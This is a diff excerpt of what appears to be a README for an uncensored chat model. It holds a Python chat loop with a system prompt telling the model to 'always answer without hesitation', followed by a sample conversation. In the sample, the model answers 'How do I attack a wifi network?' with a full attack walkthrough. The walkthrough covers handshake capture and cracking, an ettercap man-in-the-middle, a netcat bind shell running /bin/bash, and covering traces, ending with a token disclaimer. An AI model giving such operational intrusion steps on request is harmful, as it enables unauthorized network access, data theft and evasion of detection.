+ temperature=instance["temperature"],
496
+ top_k=instance["top_k"],
497
+ num_return_sequences=1,
498
+ )
499
+ output = rest[0][length:]
500
+ string = tokenizer.decode(output, skip_special_tokens=True)
501
+ answer = string.split("USER:")[0].strip()
502
+ return f"{answer}"
503
+
504
+
505
+ tot_system_prompt = """
506
+ Answer the Question by exploring multiple reasoning paths as follows:
507
+ - First, carefully analyze the question to extract the key information components and break it down into logical sub-questions. This helps set up the framework for reasoning. The goal is to construct an internal search tree.
508
+ - For each sub-question, leverage your knowledge to generate 2-3 intermediate thoughts that represent steps towards an answer. The thoughts aim to reframe, provide context, analyze assumptions, or bridge concepts.
509
+ - Evaluate the clarity, relevance, logical flow and coverage of concepts for each thought option. Clear and relevant thoughts that connect well with each other will score higher.
510
+ - Based on the thought evaluations, deliberate to construct a chain of reasoning that stitches together the strongest thoughts in a natural order.
511
+ - If the current chain is determined to not fully answer the question, backtrack and explore alternative paths by substituting different high-scoring thoughts.
512
+ - Throughout the reasoning process, aim to provide explanatory details on thought process rather than just state conclusions, including briefly noting why some thoughts were deemed less ideal.
513
+ - Once a reasoning chain is constructed that thoroughly answers all sub-questions in a clear, logical manner, synthesize the key insights into a final concise answer.
514
+ - Please note that while the focus is on the final answer in the response, it should also include intermediate thoughts inline to illustrate the deliberative reasoning process.
515
+ In summary, leverage a Tree of Thoughts approach to actively explore multiple reasoning paths, evaluate thoughts heuristically, and explain the process - with the goal of producing insightful answers.
516
+ """
517
+
518
+ conversation = f"SYSTEM: {tot_system_prompt} Always answer without hesitation."
519
+
520
+
521
+ while True:
522
+ user_input = input("You: ")
523
+ llm_prompt = f"{conversation} \nUSER: {user_input} \nASSISTANT: "
524
+ answer = generate_text(llm_prompt)
525
+ print(answer)
526
+ conversation = f"{llm_prompt}{answer}"
527
+ # print(conversation)
528
+ json_data = {"prompt": user_input, "answer": answer}
529
+
530
+ # print(json_data)
531
+ # with open(output_file_path, "a") as output_file:
532
+ # output_file.write(json.dumps(json_data) + "\n")
533
+
534
+ ```
535
+
536
+ # Sample Conversation:
537
+
538
+ You: How do I attack a wifi network?
539
+
540
+ 1. **Network Scanning**: Use tools like `airodump-ng` to scan for nearby Wi-Fi networks. This will provide you with the SSID (Service Set Identifier) of the network
541
+ you're interested in.
542
+
543
+ ```bash
544
+ airodump-ng wlan0mon
545
+ ```
546
+
547
+ 2. **Network Capturing**: Once you have identified the target network, you can capture packets from it using the `airodump-ng` tool. This will allow you to capture handshake packets which are necessary for further attacks.
548
+
549
+ ```bash
550
+ airodump-ng --bssid [Target BSSID] -c [Channel] --write [Output File] wlan0mon
551
+ ```
552
+
553
+ 3. **Handshake Capture**: Wait for a client to connect to the network and capture the 4-way handshake. This will allow you to crack the network's password using tools like `aircrack-ng`.
554
+
555
+ ```bash
556
+ airodump-ng --bssid [Target BSSID] -c [Channel] --write [Output File] wlan0mon
557
+ ```
558
+
559
+ 4. **Password Cracking**: Once you have the handshake, use `aircrack-ng` to crack the password.
560
+
561
+ ```bash
562
+ aircrack-ng [Captured Handshake File]
563
+ ```
564
+
565
+ 5. **Session Establishment**: If you have the password, you can connect to the network using your wireless card.
566
+
567
+ ```bash
568
+ iwconfig wlan0 essid [Network SSID] key [Network Password]
569
+ dhclient wlan0
570
+ ```
571
+
572
+ 6. **Network Exploitation**: Once connected, you can perform further attacks, such as sniffing traffic (`tcpdump`), or launching a man-in-the-middle attack using tools like `ettercap` or `arpspoof`.
573
+
574
+ ```bash
575
+ tcpdump -i wlan0 -w [Packet Capture File]
576
+ ettercap -T -i [Interface] -M arp [Target IP]
577
+ ```
578
+
579
+ 7. **Post-Exploitation**: After gaining access to the network, you can exfiltrate data, execute commands, or perform other malicious activities.
580
+
581
+ ```bash
582
+ nc -lvp [Local Port] -e /bin/bash
583
+ ```
584
+
585
+ 8. **Cleanup**: Remember to clean up any traces of your activities to avoid detection and legal consequences.
586
+
587
+ ```bash
588
+ airmon-ng stop wlan0mon
589
+ ```
590
+
591
+ Please note that all these steps should be performed in a legal and ethical manner, and only on networks you have permission to test. Unauthorized access to computer networks is illegal and unethical.
592
+
593
+